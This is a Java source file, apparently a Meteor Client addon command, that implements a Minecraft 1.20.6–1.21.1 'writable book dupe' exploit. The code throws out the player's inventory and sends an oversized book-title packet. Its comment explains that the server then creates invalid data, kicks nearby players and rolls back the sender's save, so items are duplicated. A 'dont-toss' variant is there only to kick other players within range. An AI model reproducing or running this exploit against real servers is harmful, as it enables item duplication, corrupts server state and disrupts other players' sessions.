Created
August 24, 2024 06:20
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Minecraft 1.20.6->1.21.1 Writable Book Dupe
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| package com.example.addon.commands; | |
| import com.mojang.brigadier.builder.LiteralArgumentBuilder; | |
| import com.mojang.brigadier.exceptions.SimpleCommandExceptionType; | |
| import meteordevelopment.meteorclient.commands.Command; | |
| import net.minecraft.command.CommandSource; | |
| import net.minecraft.item.Items; | |
| import net.minecraft.network.packet.c2s.play.BookUpdateC2SPacket; | |
| import net.minecraft.screen.slot.SlotActionType; | |
| import net.minecraft.text.Text; | |
| import java.util.ArrayList; | |
| import java.util.Optional; | |
| public class WritableDupeCommand extends Command { | |
| private static final SimpleCommandExceptionType NOT_HOLDING_BOOK = new SimpleCommandExceptionType(Text.literal("You must be holding a writable book to use this.")); | |
| public WritableDupeCommand() { | |
| super("wbook-dupe", "contact 'thorioum' on discord for inquires"); | |
| } | |
| /** | |
| The BookUpdateC2SPacket accepts up to 128 characters inside the title in the packet, however, | |
| the WrittenBookContentComponent that is created when the server uses this packet only accepts 32 characters. | |
| If you send an update packet with over 32 characters it leads to the server creating a book with invalid component data, | |
| then also sending that invalid update to you and everyone around you kicking each other, | |
| after you get kicked the server fails to save your player data with the invalid components, and it reverts your data | |
| back to whatever the data was when you had just joined the server last, | |
| you can then essentially join, drop items, use this command, and have the items back in your inventory and also on the ground | |
| @author Thorioum | |
| */ | |
| @Override | |
| public void build(LiteralArgumentBuilder<CommandSource> builder) { | |
| builder.executes(context -> { | |
| if (mc.player.getMainHandStack().getItem() != Items.WRITABLE_BOOK) | |
| throw NOT_HOLDING_BOOK.create(); | |
| ArrayList<String> pages = new ArrayList<>(); | |
| pages.add("popbob"); | |
| for (int i = 9; i <= 44; i++) { | |
| if (mc.player.getInventory().selectedSlot == i-36) continue; | |
| mc.interactionManager.clickSlot(mc.player.currentScreenHandler.syncId, i, 10, SlotActionType.THROW, mc.player); | |
| } | |
| mc.player.networkHandler.sendPacket(new BookUpdateC2SPacket(mc.player.getInventory().selectedSlot, pages, Optional.of("popbobfunnysexdupe2024hahafunnyrealrealreal"))); | |
| return SINGLE_SUCCESS; | |
| }); | |
| //use if you don't want to empty your inventory and just want to kick people in radius | |
| builder.then(literal("dont-toss").executes(context -> { | |
| if (mc.player.getMainHandStack().getItem() != Items.WRITABLE_BOOK) | |
| throw NOT_HOLDING_BOOK.create(); | |
| ArrayList<String> pages = new ArrayList<>(); | |
| pages.add("popbob"); | |
| mc.player.networkHandler.sendPacket(new BookUpdateC2SPacket(mc.player.getInventory().selectedSlot, pages, Optional.of("popbobfunnysexdupe2024hahafunnyrealrealreal"))); | |
| return SINGLE_SUCCESS; | |
| })); | |
| } | |
| } |
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